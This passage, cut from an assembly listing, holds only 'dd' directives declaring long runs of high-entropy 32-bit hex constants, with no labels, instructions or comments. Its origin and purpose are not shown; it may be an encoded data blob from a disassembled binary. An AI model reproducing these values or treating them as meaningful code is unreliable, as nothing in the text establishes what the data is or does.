6B00C80Eh, 332409FCh, 0F61A93AEh, 0ABFB001Bh dd 791D23AFh, 9C00AC7Dh, 291742CBh, 0C86203h, 51E076A7h dd 306E5B97h, 51908C26h, 0BEC43818h, 18A6012Ch, 7D0443B8h dd 0FA78346Eh, 99304E00h, 0A753F54Ah, 22750073h, 0C9F7F39Ah dd 6900D709h, 0BE6D6C65h, 4D8098h, 30ADFA0Ah, 8D36BC4Ch dd 5E2B300h, 0A5FFBF6Ah, 0A8E909A0h, 0A0C83081h, 844880F6h dd 700778D8h, 3DB0268h, 3A2F0551h, 0A30DC38h, 465DDA10h dd 8533A518h, 0C0CE8231h, 83E860A9h, 0A06096A1h, 9B270208h dd 0FEFB00FAh, 11F7A20Bh, 78051209h, 3755D06Bh, 2823404Ah dd 3E180A00h, 0CC9C42h, 4EE68C97h, 0F06DD39Fh, 6ED140C0h dd 867B1F02h, 740B4E00h, 0BD96DDC6h, 13230E67h, 0C05D80D7h dd 0DBAFE2D6h, 5B00CD99h, 26FBD497h, 1F6836h, 0FA419AACh dd 91546BEAh, 0FD04A000h, 45CB4BE4h, 0DB7E38h, 0D1C14ECFh dd 0E80321B1h, 96910C02h, 6014A5B5h, 0F43D90h, 0E335647Ah dd 6749E5EAh, 563A0D0Bh dd 95017D1Fh, 0D4207AC5h, 0F400464Ch, 501770ACh, 7B41AFD3h dd 0BBF2B0h, 0FEF11DF7h, 6B21744Eh, 6E4F8C0Dh, 0F038BACEh dd 64D31105h, 7B28A415h, 1608B76Eh, 0EB318880h, 68D40F66h dd 0C5079BD0h, 0E0069016h, 0B6EE9597h, 93D47554h, 0C61D5E00h dd 2A50362Bh, 5DBF01B4h, 4EA0AC44h, 7DBC68C0h, 407C6E29h dd 266F509h, 0A430A00Ch, 0A3406C40h, 721866F1h, 0F6A0920Ch dd 0B9797Fh, 0BA7AAFA1h, 21E4BF4h, 87EB4C00h, 0B6F7EF45h dd 993C60BCh, 0C5EA6D2Eh, 81401400h, 505571DAh, 69661879h dd 0D61B4804h, 0FC48DF81h, 1C8D4898h, 0D2BB2000h, 0CF7F3D69h dd 7C122200h, 0EAFE2F25h, 0A00E0F4Ch, 5180F42Bh, 0C594595Ah dd 79AF6330h, 416931h, 0C8202534h, 1117E09Bh, 596F8C00h dd 129DD4C3h, 0B327025Ch, 0E4807125h, 0AC899090h, 19A80E86h dd 0D09403C6h, 57A01CE0h, 5CEF1700h, 0FFC24055h, 0BDDC1861h dd 6B09D1EAh, 0CB7EA900h, 90C460C5h, 180F66Fh, 6837C332h dd 0F4ECD8D2h, 0AF00FEF4h, 6911383h, 5A42D9F0h, 0DDACA3h dd 590422FCh, 0F1A5A3Bh, 5F30FAB2h, 0F355D280h, 0C300C864h dd 0F74C8D48h, 368143h, 0D6A2D854h, 0D7E0D0A7h, 325E400h dd 90B8BEA5h, 0FA5200B3h, 6D22AB40h, 2C3CB119h, 0C180750h dd 7EE295F0h, 5C50C1E1h, 0EA6AD60h, 0F79D992Bh, 74687FA0h dd 43602A9Ch, 0C136AA30h, 4B8000A8h, 81294E0Dh, 40F86CFBh dd 0A33F7101h, 0AB642C38h, 5613AE0h, 6AD3B7Bh, 0FEB1C025h dd 5618167Ah, 0F38157B6h, 0A945038Fh, 8286FBD6h, 0FDEE60B8h dd 654DD200h, 0EF3957E5h, 0EC8800DEh, 0D3E7D0E3h, 63603B70h dd 0EB5F1F91h, 0A1790B95h, 0C600B38Fh, 0E6638E11h, 752A5E18h dd 0BFB18h, 42B0C1ECh, 2EAF3FB3h, 6EB641C0h, 2B1310h, 0E6A7F5F7h dd 8496C598h, 0FAD74101h, 0A50C6D3Eh, 1276C8h, 0EA26F04Eh dd 19092E1Eh, 0FF5AF300h, 16AC6D71h, 4C460101h, 53630A3Ch dd 7DE5FCA1h, 0D9B24B00h, 57C797CAh, 0E1911C23h, 33540A6Ch dd 0C29F00DCh, 0DC209396h, 0D6BE1F00h, 49C5483Fh, 2DC101B2h dd 7257806Dh, 0E673E03Ch, 0E3FFEB1Ch, 154170C7h, 0A3D1D0F0h dd 785000BFh, 0B522F31Fh, 1200A47Bh, 9C88142Bh, 59C27Eh dd 0F1BAAA8Fh, 7C7FD4Dh, 8E978301h, 92B05FC3h, 0F06535F0h dd 0B2539C4h, 7CD84860h, 0FF00E0A4h, 126A614Bh, 3A5E9507h dd 488E6763h, 75A188B5h, 0ECA8DA8Ah, 8F073CE7h, 0BD111BA6h dd 60AA4110h, 92AD389Dh, 2E7DAC3Ah, 6E5068h, 7618DE79h dd 510C307Dh, 21170A98h, 0CFFF00F9h, 0D19B2CA8h, 571C9197h dd 62AA75h, 58A73C45h, 9AD795C9h, 7448D00h, 0E37C863Bh dd 661C01A2h, 6E6AAC9Fh, 0E84C601Dh, 3A34E100h, 61BC9BE5h dd 901C7CBEh, 0B050C076h, 79C01908h, 6B00C77Ch, 0DCB73A94h dd 7324AB9h, 0E57802EBh, 69A95365h, 8685301Fh, 186EA486h dd 4D740C20h, 0B0A1E84Bh, 5542FC06h, 24119148h, 1E978652h dd 0B9A38764h, 43BCF7B3h, 20001C3Bh, 744BA9E1h, 1C3E2232h dd 81917CD0h, 0EA67CB61h, 0E96883F7h, 0B0AA50BCh, 1F8682E8h dd 575BEEh, 39F3BFFEh, 0CB0073DCh, 0E67D481Ch, 225CABh dd 5D112F46h, 0B6592EB1h, 6B1B8201h, 1542EF66h, 12914FD4h dd 4970BDAh, 80ADDE07h, 1E3DACDAh, 0ED2E6000h, 0FBEEB50Dh dd 0DF98B2h, 6D41E3A7h, 3A13D0D1h, 5EE620FDh, 0BAE96500h dd 0B0907BD5h, 2C8032Bh, 0A978F441h, 1A69E1B8h, 968BB339h dd 0B600BF6Bh, 6C4035D3h, 1A97855h, 44D1CBB1h, 0E41B987Bh dd 1D003359h, 0E7D451BDh, 0BA50C2h, 889B2D55h, 0BEEAF1CEh dd 63BF4726h, 0B2E7A202h, 0B655E007h, 0F9710088h, 0AE67A9CEh dd 0DF072B0Dh, 6A33FDBBh, 96AF4820h, 42D00097h, 558ED46Ch dd 0C4025C13h, 923847BDh, 9BE8606Ah, 3A9F3D69h, 0CEE79682h dd 0E64018D6h, 0FEE8321Eh, 5D209260h, 72220BAh, 0CE2E972h dd 6035501Bh, 6B008061h, 0FF0FC1BEh, 7255E89h, 77C2834Fh dd 81DFC46Ch, 0F1FA03A1h, 7D57DC18h, 0EBD2FC01h, 1A9FA65Ah dd 49CAE0h, 72550C20h, 0F23DC484h, 32339374h, 903B20AFh dd 0A01423h, 244B4560h, 80AA11F1h, 51A2CA0Ch, 36A4967h dd 7C224809h, 0B838A9EEh, 75C89EFFh, 0D141B7DEh, 0D2FEAEC7h dd 20B8FAD5h, 68C9EF0Fh, 80F53CE7h, 0DB3642E4h, 8C60152Ah dd 91934000h, 0A21356F2h, 92BC0011h, 0D622478Fh, 0BB743132h dd 554EA40Ch, 1A3099h, 0F57B8A9Dh, 0B69A5AE3h, 0D2F81B03h dd 0F6C6EB4h, 7A6B6420h, 0B0AF0036h, 0DD837C71h, 9880DE98h dd 90389B6Ah, 2CCD263h, 0EDC59717h, 10E931C6h, 1E212FB3h dd 8002F731h, 0DB72E616h, 5A2A7184h, 93008CEFh, 46A6B770h dd 1DB4D7h, 9257B54Ah, 0E2AADD82h, 0DBBE6700h, 0C663769Fh dd 891F00A4h, 0B34B0EC1h, 0B8002035h, 52A76F05h, 0D7172Dh dd 28D1FE78h, 0D9EA84E8h, 0AA87D5Eh, 7E195203h, 0ACF9208Ch dd 0C1A3E735h, 580C2100h, 3CDBE251h, 0B4200A5h, 764CCA30h dd 45F28949h, 1F78EC3Bh, 0DD43EEE9h, 0E188F383h, 409CD753h dd 0F6BC03C7h, 32818AE0h, 71B36095h, 0F1751800h, 332DEC9Ah dd 0B3C70039h, 0C3558943h, 1806659Ch, 0EF4EA9B9h, 6AC72489h dd 28870CA5h, 3D007811h, 31730E3Ch, 79A89BA5h, 5EC318B7h dd 178E2097h, 761A3C00h, 0AB460F80h, 3EF4F612h, 1E9C9EEEh dd 45B187BBh, 19C9B6E4h, 5E557718h, 0D146D8h, 0C698AFA6h dd 0C095DA72h, 59299C00h, 0FAF85BD5h, 3F35F2E7h, 980C90Ah dd 0D8FBB6EFh, 0E000D97Bh, 68950603h, 70917Fh, 971B6718h dd 380E4146h, 0B7C33A00h, 669CB85Bh, 4B620065h, 0B90A3E55h dd 977F912Eh, 0C948BF02h, 60201026h, 0DB7C5Fh, 94285C1Eh dd 621D60C1h, 0D91A2900h, 69D21C4Fh, 0B56B0019h, 0C3AC77D4h dd 5B00F63Ah, 724C5359h, 0D68E2Bh, 0DDD0A26Bh, 0FF7F9871h dd 4ED5A700h, 53C9ACE9h, 0DBA50082h, 8F7C36D2h, 0D80181EEh dd 4FDDF5F6h, 31704324h, 38F9FA8Dh, 8500E522h, 65A5737Eh dd 630196CCh, 9529F1E2h, 41DD7C0Ch, 1F1951C0h, 1ED53CEh dd 75B5F669h, 91352062h, 48D8EC28h, 291B6800h, 25EB4C01h dd 45100072h, 586ED47Dh, 75030282h, 0C49FB557h, 675D809Eh dd 0C5720328h, 0E6095C2h, 0CA666CF0h, 0B897061Fh, 0B678AE40h dd 14DC10C1h, 84ADDDF2h, 70607D4Ch, 25211530h, 0F40031F8h dd 0FC6F71A5h, 1D9ED8C5h, 819BE975h, 0E83D625Fh, 0AAF430BCh dd 5A990503h, 9F43AD0Bh, 29D5BD40h, 0E59A03D0h, 0F64793B2h dd 0D94BA7B8h, 0AE00FD7Eh, 13ABF54Dh, 0B2D068Bh, 370DE44h dd 0E4643880h, 0D10B91A6h, 8101BAF3h, 0DDA08CCh, 4A961880h dd 0F0922EE5h, 16DC0A0Ch, 0EB44889h, 9EAC3654h, 0CF4B8123h dd 21A182BBh, 9320818Ah, 0CB4A2EADh, 34F4730h, 0C60E5E5Fh dd 1AD0D11Ch, 0D37EF517h, 4851E200h, 494CDA78h, 0E14A003Bh dd 1A0E7FB2h, 3C007A4Eh, 0EBB146E6h, 61D799D5h, 8A14811Ch dd 0F7C4D87Dh, 0D00696EEh, 0D365EDA6h, 0B0B300E8h, 873168BFh dd 0CB1DE21Ch, 6200160Bh, 0F2ACFABDh, 8D043DD9h, 77A7A400h dd 0AA0643C9h, 0CBD3AB00h, 71793689h, 0E31301BAh, 142EC872h dd 6493F4F5h, 3585A07h, 0B750F691h, 603FE1C7h, 221A202Fh dd 0D6009B67h, 6D7A873Bh, 0BDDD4Fh, 33667B95h, 8AE84E96h dd 7C55A40Ah, 1700B0FAh, 0A1F594Ah, 0F05758ADh, 0A93F6807h dd 441480FCh dd 4700F4B1h, 0B3217450h, 8F1AC2h, 7CF06E4Ch, 57790CCAh dd 0A5E22A00h, 4FA9763Eh, 4C950BE9h, 0EB003937h, 9722F70Eh dd 9CE41500h, 0D650D489h, 0FB85007Ah, 3652D741h, 0F23FCEB7h dd 8D1180B6h, 8C776956h, 1187BE9h, 28C90FECh, 0FC16F9DDh dd 0C500EE14h, 0AA8D633h, 18239F1h, 45671DA1h, 6B6A4353h dd 608CE0h, 0C1C5D23h, 55FEB633h, 0AE0E2700h, 0EE56B5F4h dd 0BE5400F7h, 0DB2291B7h, 8B00596Ch, 0E88E35D2h, 0FDFEB3h dd 9EBC3F23h, 6A106306h, 0D018BA6Bh, 19DB003Eh, 18961DD5h dd 91009F52h, 636067F7h, 84E4CAh, 0AEEC5EA3h, 0B62E9334h dd 96B3F607h, 0CCD78B12h, 52E80FE0h, 0FBF300B7h, 0A164F751h dd 8A001FE9h, 56D6B916h, 0E74E47h, 0B18299D3h, 2A9B0517h dd 8DA7ED03h, 0E0645781h, 1D6B8835h, 0FDFBEBh, 0E9A476A0h dd 2400309Eh, 58C55192h, 2AE2C3h, 1E47D93h, 828C5B73h dd 69B8DB4Eh, 0FE00BE39h, 6C505D60h, 0B5024EAEh, 14253329h dd 74AC8EB2h, 0F40600B0h, 0D6659E18h, 1E3232FDh, 4971D19h dd 73AF4D83h, 9429E0E8h, 49950099h, 651EEFC4h, 0F83B6E70h dd 4DAA002Fh, 0F0B0BA96h, 0B7B91922h, 8532894h, 0EA414460h dd 33B30120h, 3751F8BCh, 321F44D4h, 29182E4Fh, 9A4066C2h dd 0C43D98DBh, 5F04D528h, 0F3CF1DE1h, 539CDF51h, 0E6293818h dd 5177061Ah, 0A1358E2Ah, 5EA00310h, 11092411h, 0DD4C1F3Ah dd 26275162h, 1DE8AB21h, 881EFE01h, 88796C29h, 0B684048Bh dd 52053DABh, 3B8C46B9h, 4F54297Eh, 673D8D8Ch, 7C07F4B1h dd 0C3242FB4h, 8416B930h, 0AA54003Dh, 0CF5E52CDh, 1005AD3h dd 0B7CE0349h, 56DB37h, 23B5B01Fh, 0FFADAF7Fh, 99D66C00h dd 2B85EAAAh, 41D9039Bh, 3308C305h, 0EE6E38F8h, 75E77A00h dd 3D532A5Bh, 118B00E1h, 0AB8DF3F7h, 721CF9CCh, 7B00BC02h dd 0F160EDACh, 0CDE90188h, 0FD6C6627h, 439DC059h, 0C6DBB001h dd 10162A35h, 9AD2D0h, 510F2CF9h, 8F7A656Eh, 55711E00h dd 2864A661h, 0AB7C240Dh, 879B802Ch, 0FB78E843h, 0CE54B01h dd 9A278172h, 7C663BD0h, 41F900E7h, 330659DBh, 4E5C6588h dd 9093009Eh, 0C9A7C552h, 1DE789Eh, 0DAB101E5h, 0E0D13DB2h dd 7E0EEEC6h, 40AB0C55h, 7422999Dh, 807502B8h, 6F77D9FAh dd 0A47B7040h, 679EAF50h, 13008BE6h, 68223410h, 1E9024C9h dd 0FD91C2DEh, 653C4A48h, 431ECD1Eh, 0FB9D4B92h, 16FD44F8h dd 72262300h, 2ED1B8BFh, 0E0B5FEA9h, 9089006Ch, 4B70846h dd 0CE00DAC3h, 0E3A4266Ah, 0A653E0h, 22A51837h, 49D4C020h dd 83E1C100h, 87BE6A15h, 0FDD80E29h, 4C1602Ch, 780E44B5h dd 75C63D0Fh, 0F1958100h, 201E4C12h, 667F164Eh, 443600B1h dd 81EBD438h, 98F59C00h, 0BC5701C1h, 532800C0h, 0CD903530h dd 0B006659h, 84344A14h, 38CBE4h, 270DE7A2h, 0D3122A18h dd 1740B600h, 851ED4BDh, 3E3F005Ah, 77C82BC3h, 8B011CEAh dd 0D5EFA0EDh, 92ECF102h, 869100D3h, 45545DC2h, 7E134EE4h dd 20001032h, 7D162756h, 0B3AA0022h, 4C1DC855h, 70002C05h dd 0F96FDE52h, 2FB0B1h, 0E577F515h, 6D78D1A0h, 9245B73Bh dd 540FFA81h, 92D3077Fh, 0ADF01E0h, 64910B8Fh, 9C00AF65h dd 2FBC6BA7h, 0FAC5B000h, 0EF3FA64Ah, 77411D32h, 35B3076Eh dd 3A79C767h, 0B8BA0BB4h, 0A9F95000h, 42009039h, 4D3FD8C6h dd 5E3492h, 1980985Ch, 0C8230BA6h, 8E629300h, 3F31767Ch dd 87490035h, 0DDB53CC3h, 34005271h, 0DCE589ADh, 765CAB3h dd 67A2FB4Fh, 0A8873932h, 4E721037h, 8E00C833h, 0F3CE2779h dd 2451F48Ch, 8F38021Dh, 0BE610F04h, 20879060h, 0A70F0A21h dd 6BD444h, 0A1F7BF2Eh, 352B1C7Dh, 7B927Eh, 51CEA008h dd 3C0006ADh, 64F3427Fh, 0CF4C578Dh, 5BE3D134h, 0A9D00D47h dd 6E007904h, 6F850649h, 92F37Bh, 8177FA5Fh, 0D8FC7F33h dd 3A7BB44Ch, 0B0B20078h, 582E570h, 16C80079h, 109D195Dh dd 71015955h, 935CE6B9h, 0EDCCCCDFh, 0CE4A01B7h, 81F22674h dd 5EDB30CAh, 1AB98A00h, 3C580CC6h, 3E2F0024h, 9BEF7E93h dd 38382629h, 0F7F00CECh, 9031F0D0h, 55D300D4h, 98FA6EE1h dd 6AF89205h, 2D4CEC00h, 671E7B56h, 910D00A3h, 1A06C1C7h dd 2E008AAEh, 4AFB4746h, 72184D3h, 0EC516E9h, 0C41CA33Eh dd 901AA787h, 71D02211h, 37AC4E38h, 0F36046E9h, 3125090h dd 0DD32A140h, 81D809DCh, 28134B35h, 7B00D014h, 0BC79A4F8h dd 0DE24Ch, 95689AC5h, 7FE6A183h, 4B7E2600h, 173AABFFh dd 0E04E02E3h, 0A77C769Ch, 9A79EF40h, 4283B303h, 0D9E5D868h dd 0F440CE62h, 0C377FCh, 7EDA810Fh, 0C8CCF22Fh, 13A97F00h dd 7A42B57Ch, 0D9BD1EC7h, 935B80A3h, 8DC84D2Fh, 416438h dd 0A58B22A2h, 0CE334Fh, 2AF8F7A4h, 0E23BE36Ch, 98AACD02h dd 809E7042h, 0D44CA4ECh, 837CEDh, 975BADEh, 15287DC6h dd 0C400A298h, 0A3D8DC87h, 166390C1h, 672337h, 0ABFC65C9h dd 4E00E8E0h, 34499164h, 0FBE741CBh, 10A9420h, 6EF70731h dd 0ED775381h, 0DF1DE8F6h, 93E47400h, 7E89B917h, 85D30721h dd 60EFE228h, 0C849081h, 983A1800h, 2B1D06EEh, 36393AD7h dd 0E0CE824h, 56A522B0h, 0D314837Ch, 0A571B1F8h, 7088D003h dd 88AFA1A7h, 1E198352h, 6C1D9FD6h, 5D78843Ch, 11C7035Ch dd 5B93809Bh, 29C900F0h, 0D0D68ABEh, 38008950h, 4A4D96E2h dd 5033EDA8h, 60DD9F7Dh, 0BC40189Bh, 3177B532h, 53B71C01h dd 1EAE7DFEh, 76F3420h, 1026E13Eh, 0A2C5B77Fh, 54602E46h dd 3001D880h, 8412BE49h, 26FC694Bh, 8F300E3h, 0DFAEE6F0h dd 0DD009AC8h, 0B382C914h, 8A6529h, 0FE49A285h, 665AD261h dd 0C64B800h, 658E1EBDh, 0FCB030EBh, 0AC253808h, 4B302400h dd 482EC413h, 8510E9Ch, 83A07245h, 7703F980h, 9497E100h dd 217F7DB9h, 0B750018Fh, 189E13DBh, 0E40ECD74h, 8609FD8Ch dd 0D8146605h, 6DD100F8h, 33B28B35h, 1A12C5FBh, 0EA0086EEh dd 6FC310B1h, 8BEC2420h, 39B8002Ch, 97B712DCh, 0E700537Ah dd 0FDB1178Fh, 3F84097Bh, 0EF0B9DD6h, 0C3805615h, 0BD52A572h dd 0DB87EA07h, 0BFD054DCh, 4132237h, 1CCB806Ah, 962C8070h dd 0B80E2E12h, 0D3828325h, 2AE29801h, 53AEB29h, 0C0C9F584h dd 0AB36A27Bh, 0ECD4F824h, 2F166700h, 0BDBA6F0h, 405A3F51h dd 0C005E407h, 2D633B4Ah, 77D30700h, 0CE651C4Fh, 0EB3D26F9h dd 3860008Eh, 8AA1CC20h, 0D3D18000h, 0B38F6EAEh, 74B0C4h dd 75269884h, 0C184135h, 93E038h, 0DA7F3E4Bh, 0F65EE2h dd 756CBABh, 3D05BF36h, 0EAE6C301h, 0E7BD1EAFh, 8B84C8h dd 0B5B61C4Eh, 0CEDD35ADh, 79007D90h, 688A12E8h, 7C9CE397h dd 82F700C9h, 5A74BF7Eh, 0B173D7Dh, 0D01C92EBh, 77BA52C0h dd 3D1E971Fh, 0A13FFC76h, 0F274D200h, 436F9E45h, 0A49D59h dd 0E7111301h, 0F38B50h, 8F73987Dh, 0AF6281F9h, 23E17105h dd 0AC01EAC5h, 1392008h, 5B94B840h, 0FFCD0121h, 0AC38BFEBh dd 54C8EC0Bh, 6AA4FC00h, 22397B49h, 9DE0685h, 38D7C081h dd 0D00317Dh, 0A773BA94h, 1CEAAACAh, 445CD40Ch, 805A20EDh dd 9D31AC48h, 0F5692B07h, 0DE30EF4Bh, 40EC6Eh, 7047079Bh dd 50C8C01Eh, 0B63B10B0h, 6ADA9D3Ch, 0F8CAC00h, 381A061h dd 0CBC5308Dh, 2AD0ADEBh, 600E4CFAh, 0E1200A5Ch, 62C71906h dd 0F48770h, 68FE6C8Bh dd 23A41874h, 75EC8419h, 288045F0h, 0A2A94DCh, 0A90F14DEh dd 639C46FAh, 0B0373ED5h, 0FD8874h, 0C93BAFF7h, 90D8CEA2h dd 67309217h, 0EEE91000h, 0E9128974h, 0B0E0B043h, 0B2487Ch dd 0CEDC58D7h, 90DB53Eh, 69732900h, 43868220h, 4C9CB864h dd 702E047Ah, 0D27F008Dh, 0AD736A9Dh, 0D635C600h, 786BF2B2h dd 2E1900B6h, 48FF1503h, 7200966Fh, 74F1937Ch, 14BC9CCh dd 29F85D97h, 30F9067Ah, 7217DD48h, 48003691h, 0B00F59ACh dd 0CA2E00BDh, 0BCC8207Ah, 0B200DA4Dh, 0C16775A2h, 9C78701h dd 0ED6B10A5h, 0D77F7880h, 7700136Fh, 0C0F0A709h, 90F4FDE0h dd 1E5A0018h, 0BE305CD3h, 0DA000E05h, 0B35FBF77h, 4C4B6939h dd 1800DF78h, 19CC94F2h, 0A8E6C47Ch, 0C0500D00h, 0EB2F332Dh dd 1040B725h, 0B600EA65h, 0BCAE582Ah, 0DA2E34h, 64A8495Fh dd 20CBC9D7h, 1B4C0A00h, 63977169h, 0E1071773h, 3DBC03C8h dd 0DFF80B25h, 0FF0009D9h, 0E34E4A8Ch, 16601Bh, 0C305DD50h dd 0BC27C1A2h, 0EE00EA76h, 0E7543484h, 2E496C08h, 392CE991h dd 6F4CC180h, 85F19E23h, 0EA0DBF00h, 99B4F35Ch, 58350052h dd 4695093Ah, 400B668Ah, 14F69Ah, 0AF16545Ch, 0FCEA7293h dd 7A9500B2h, 0EBDCF9C1h, 4E2FBD1h, 0C5329D0Dh, 85E8B883h dd 297803F6h, 0EBC0805Eh, 6B6DCFC0h, 688E561Dh, 81E1240h dd 1C8CB64Ah, 0C0B38B32h, 197F9047h, 3042533h, 9AFABDEAh dd 0F1FF2880h, 48447449h, 3F03F685h, 7B66E24Fh, 0E3243DB0h dd 0D2785A00h, 3940BB64h, 3A842662h, 0C0DE1D44h, 0D4A92B81h dd 8B004F4Eh, 1F8AAF85h, 18F713h, 0C90C4B10h, 1B018892h dd 31BC3254h, 76D51100h, 0E37E06FAh, 7990033Dh, 0DBCEAE5h dd 7C1D4BF0h, 4239C700h, 7FF53110h, 3AA800A1h, 0E0CCA493h dd 1DECACA5h, 8E8F9D07h, 2D8458Ch, 24AA1A5Bh, 0BEE3DC83h dd 3BB080B0h, 3948B302h, 0E057C270h, 3A303EC8h, 501F081Ah dd 9882C483h, 0AA488854h, 0EBBDBE13h, 12EC404h, 40731DFEh dd 497B933Eh, 57E8C931h, 40F41400h, 15DFD08Eh, 29D700DAh dd 0B77D4918h, 0B33C9C94h, 0A3241DA5h, 0E336E405h, 0C6E5C00h dd 20341Fh, 37B245B0h, 0ABD0BB28h, 7D407E00h, 3C48E3A6h dd 63040267h, 16DDA9CBh, 0E578B280h, 0FEE4ED42h, 670194E6h dd 0AADC1233h, 0F3C4CB20h, 4DA0048h, 743A0743h, 0F5582497h dd 85C70CC1h, 0A53090h, 0AD357AA6h, 39F9B358h, 662ED6F2h dd 0D1D88D9h, 0C1947C80h, 0EBAA550Ah, 0BDF0F4h, 0D10901EFh dd 0F29D6EDh, 4A1B38h, 0DB126006h, 0E4C73389h, 1FF900B0h dd 0F6270D8Ah, 2838869Bh, 0CBEF0056h, 0B86EB403h, 3C7DE8AFh dd 0D300358Dh, 0C615D974h, 75002596h, 0C527F3AEh, 504B9E94h dd 28DAF7h, 212620E7h, 1FFA0FA5h, 92E9A116h, 570C0812h dd 5624B8EBh, 0FA03FC25h, 3B210747h, 0BDB16AB8h, 0AB6C8700h dd 0FB23C742h, 66830E34h, 8000D801h, 0D7E7B581h, 0B78EDA0Ch dd 0F8B61869h, 0BA6A0EACh, 0A847E44Bh, 0A288D07Fh, 0D378EB08h dd 0C6F01100h, 0E1C382A1h, 7E0F2E65h, 6E190F4Dh, 45BA2CA0h dd 0A9138476h, 32024B56h, 608FD868h, 0D16DE8h, 8C6CDDA2h dd 9D6557F9h, 6A20FC60h, 28B4A364h, 18A8A08Dh, 485A565Dh dd 5F05B942h, 0E4834B09h, 0E8EC12C0h, 36FA0172h, 4FC2B428h dd 0A11060D2h, 5221501h, 2D787996h, 0B46C20h, 41995AF4h dd 0DD0F6910h, 288953Fh, 8B403D42h, 8529619Fh, 3BC4C0FAh dd 7339FE7Eh, 0BAA426D3h, 0C0979E80h, 51A77F0Ch, 8DE22E31h dd 9EB8C900h, 81EBE00Dh, 50B70017h, 9C748F98h, 8E1F4AB1h dd 3C0049B6h, 97AA4B63h, 0D1A62C7Ah, 0EB960094h, 18D428ACh dd 649B700h, 4ED39BBDh, 0A3481DC2h, 1425C0EAh, 24154A60h dd 0F2764Ch, 0DA9B897h, 4E8F74h, 67DE2502h, 890F4ADh, 88E33413h dd 506630C0h, 0C2C0333h, 0D884FB39h, 0F48AC0A0h, 0C1F22601h dd 0A681BD69h, 0FCF63DCh, 0ED08433Fh, 0B5CEB8C0h, 87071135h dd 0D2B4A2A3h, 0E692B9D7h, 21D8C0E3h, 3736244Ah, 1B8509D4h dd 0DD973440h, 0F178D3Ah, 0C0D9DEC0h, 0C91265E2h, 140B0027h dd 38161DBCh, 691E3D0Ah, 0B200CD6Eh, 0F2B0E56Fh, 0EA9D0459h dd 0F4D3B849h, 0AB00FD54h, 93DFFB2Eh, 241C98E4h, 50AFCFh dd 0FEA21AF4h, 50043BAAh, 82840AD5h, 0AC2AF890h, 0FB5B0380h dd 0FC43B3A2h, 68C3680Ah, 0E48FF0EFh, 0B44A6186h, 68700F66h dd 184200A4h, 0A8896D98h, 7A00038Ch, 0FF85E73Ch, 0F434AEh dd 8A94621Fh, 76A1A472h, 7CFBF026h, 0A0C7CB0Eh, 0BC63D8A8h dd 0F9BA0592h, 0C7C56F20h, 0D486008h, 67006213h, 0C83D5A10h dd 72DAC112h, 0FCC390F3h, 686E3F34h, 1BBD013Dh, 0CFA80072h dd 9E9BCC58h, 81F84B6Dh, 0D514C202h, 60C00FF2h, 0AE363F8h dd 5F05271Ch, 7A003CF4h, 226BF611h, 5900AD8Dh, 0BD57B808h dd 885C31h, 0C6F12F49h, 8AC3E099h, 28F45F00h, 69D80860h dd 95410035h, 0A14F8457h, 0CF01DD7Ah, 82B50CDCh, 0C6DB8A5h dd 68B90D00h, 91C99961h, 7EE0DC00h, 74321A9Ch, 0E40402B7h dd 8408C6FFh, 2CE53068h, 90CA4600h, 552E94BCh, 0FA4700A7h dd 2CCB577h, 38090AF3h, 800DC58Ch, 0F6CA84E0h, 99800093h dd 3986A296h, 0F7000E5Eh, 0A91A19DEh, 482B73C2h, 7917F4F4h dd 0DB0821B9h, 6143046h, 894C906h, 105323h, 4C090E7Bh dd 0A80BCF8Ah, 0D6559113h, 0AA435C00h, 48D1F5BFh, 4001608Ch dd 0BBDBA411h, 0F127CC45h, 1C3F6300h, 43875529h, 0EA0771C2h dd 9176259Ch, 4186E000h, 0D479461Bh, 0A8B59226h, 0A0409F0Fh dd 2F683EABh, 0DE7703C8h, 399CBE9h, 109013F8h, 326A820Eh dd 64FBEEF0h, 0CFC02F4Fh, 0F8A5B297h, 4CE8001Fh, 0F237991Eh dd 5E00BA3Dh, 0F7557E1Dh, 0EC2DDCE6h, 1C7207CBh, 0AF3087h dd 0AD50DA22h, 29F76300h, 1E3D3AABh, 75F0021Fh, 0A502AA1Bh dd 57541640h, 0E5F49501h, 0EEB9FEBFh, 492C70h, 1A53B207h dd 5B7913AFh, 0C89EF73Dh, 0D27C079Ch, 0E250586Ch, 705CD45h dd 0CBF04D62h, 0F567E3FDh, 0C8FB06A8h, 9A36EA00h, 8F3143A6h dd 0E1100BDh, 0E7F59204h, 121C509Fh, 70AE6EDEh, 0F293E200h dd 0A8C97477h, 5482B88h, 0B5AB7641h, 0D808B071h, 0FEA97A38h dd 8A91F50Bh, 0A1CF0048h, 5EA7FD1Dh, 50982742h, 313050EAh dd 5AB58200h, 0BDA8F236h, 58970993h, 5C80C8F9h, 0A4AC380Bh dd 0EA919B09h, 16F00034h, 11C8C83h, 7689CB2Eh, 0F0F87225h dd 2C00FEA1h, 7591E58Bh, 0E8793AE0h, 0A79307E4h, 2377C1F0h dd 8FF0D066h, 637B9BCEh, 0E9005BE6h, 7EF5D1DDh, 49CEBh dd 5E2D1FD5h, 0A370A2CBh, 2811F300h, 0B6D494D7h, 0D8E029h dd 0B86585E6h, 908DAD3Eh, 0FBC8C50Bh, 21850015h, 354995h dd 53508F0Dh, 3AC9CEA7h, 909CF700h, 0EB619B07h, 10DB0085h dd 91A17460h, 0F9006954h, 2A4BA5DDh, 0A04A6146h, 93F7180h dd 67E26ADAh, 60C0638Fh, 181AA5ADh, 80FFBBE8h, 0B0E97ECh dd 3A95EDFh, 0B749FB1Dh, 0B4E12043h, 0D9A3C8B2h, 0DB6A0400h dd 9A72CCB6h, 63280023h, 4C1D3665h, 94007FB7h, 0C0DCBE77h dd 9A0B9Eh, 5639BC89h, 0AAD7B33Eh, 1F883304h, 668027D2h dd 93E3D6h, 0CBE8B83Ah, 0F3708176h, 0EBF83Fh, 0F02DA70Ah dd 7C97127h, 0FBA03C84h, 0B4180CFh, 640579B4h, 9FC0D678h dd 0A494C3C0h, 51420083h, 0F39388A9h, 0B21C1EA6h, 0E1C0991Ch dd 0D67AA770h dd 0D1E51777h, 0FE9C3441h, 0EC45BAC1h, 7D3C1BFCh, 0A0667DE8h dd 0BEBC9FD1h, 54374168h, 184C6019h, 1C6B3F00h, 6F5DE9C5h dd 404E00E0h, 7FE18299h, 0B94CA513h, 29037584h, 2E8BCAFFh dd 4043C002h, 413D004Dh, 0ABA6EEF2h, 0D900FDB2h, 89958022h dd 902623Ah, 0D8F1A5B6h, 590E5C80h, 822CB3E2h, 836090C8h dd 1D867F7h, 628F41FBh, 0E16A5F57h, 0E3AFD9DCh, 0A2FC30F0h dd 36542Fh, 0C2E871B8h, 